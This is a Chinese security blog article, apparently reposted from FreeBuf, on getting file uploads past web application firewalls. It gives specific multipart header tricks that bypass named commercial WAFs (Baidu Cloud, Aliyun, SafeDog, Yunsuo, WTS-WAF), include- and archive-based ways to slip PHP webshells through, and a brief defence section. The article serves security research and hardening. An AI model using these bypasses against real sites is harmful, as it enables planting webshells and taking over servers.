14

上传绕过WAF姿势与防御漫谈

 4 years ago
source link: https://www.freebuf.com/articles/web/226000.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

*本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

本文写于大年三十,首先祝大家新年快乐!今天感慨颇多,算算今天也是我入驻Freebuf第930天,也是我毕业后的第930天,对Freebuf更多的是感谢,因为我大学读的是电子信息工程专业,我们学校到现在也没有开设信息安全专业,我对信息安全专业的热爱始于大一,一直找不到门,一直到2017-07-08才找到Freebuf这个平台,我几乎所有的信息安全知识都是从Freebuf这个平台Get到的,常年累月的积累,并且听从自己的内心,今年应聘到了一家非常专业的信息安全公司,我会继续努力向前,也希望Freebuf的小伙伴珍惜每一天,充实自己。

废话不多说,今天就聊聊关于上传绕过WAF的姿势,WAF(Web Application Firewall)简单的来说就是执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。上传绕过不算什么技术了,正所谓未知防,焉知攻,先来了解一下网站的防御措施吧!

一、上传绕过姿势

1.一般开发人员防御策略

客户端javascript校验(一般只校验后缀名)服务端校验1>文件头content-type字段校验(image/gif)2>文件内容头校验(GIF89a)3>后缀名黑名单校验4>后缀名白名单校验5>自定义正则校验6>WAF设备校验(根据不同的WAF产品而定)

2.Bypass

2.1 有些waf不会防asp/php/jsp后缀的文件,但是他会检测里面的内容

Eg1:

1.先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容
2.然后再上传一个.php的文件,内容为<?php Include(“上传的txt文件路径”);?>

此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:

rYR7Rb7.jpg!web

Eg2:

上传文件:shell.php

uMfYzeE.jpg!web

上传文件:test.txt

<?php phpinfo();?>

将test.txt添加成压缩文件test.rar

访问shell.php就可以执行php代码

我尝试修改压缩文件后缀为zip、phar、rar发现都是可以的。

 2.2 WTS-WAF Bypass BbEb2uN.jpg!web

EF7jy2A.jpg!web

Content-Disposition: form-data; name="up_picture"; filename="xss.php"

2.3 Baidu cloud Bypass

6JbQJzu.jpg!webQrIbayV.jpg!web

发现百度云目前正在拦截后缀,百度云过上传还跟<?php前面是否有代码还有很大关系,我在这里就不要废话了,大家自己去研究一下吧。

Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。

2.4 阿里云WAF

Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg

Bypass:

Content-Disposition: form-data; name="img_crop_file"; filename="1.php"

Note:你看的没错,删除Content-Type: image/jpeg即可绕过。

2.5 安全狗上传Bypass(最新版不可绕)

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png

Bypass:

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png

C.php”

Note:删掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php”.原理我就不多说了,自己研究。

2.6 云锁上传Bypass

Content-Disposition: form-data; name="up_picture"; filename="xss.php"

二、防御

详细说一下Type绕过防御机制,其他的防御机制自己可以下去研究,我不多废话.

1.1 目录设为不可执行:只要web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,所以此点至关重要。
1.2 判断文件类型:判断文件类型时,应结合MIME-Type、后缀检查等方式、推荐使用白名单的方式。
1.3 用随机数改写:文件上传如果要执行代码,则需要用户能访问到这个文件。在某些环境下,用户能上传,但是不能访问。

Summary

我们研究WAF的绕过手段,是为了更好的提升WAF的防御能力。在研究突破的过程中,不要只是仅仅停留在正则表达式、基本漏洞原理,需要对涉及并深入更多的领域,例如HTTP协议理解和PHP、Tomcat对HTTP协议源码分析,MySQL词法分析,和Fuzz的思路等。在此过程中,会有许多乐趣,也会有各方面能力的提升。

*本文原创作者:星空111,本文属于FreeBuf原创奖励计划,未经许可禁止转载


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK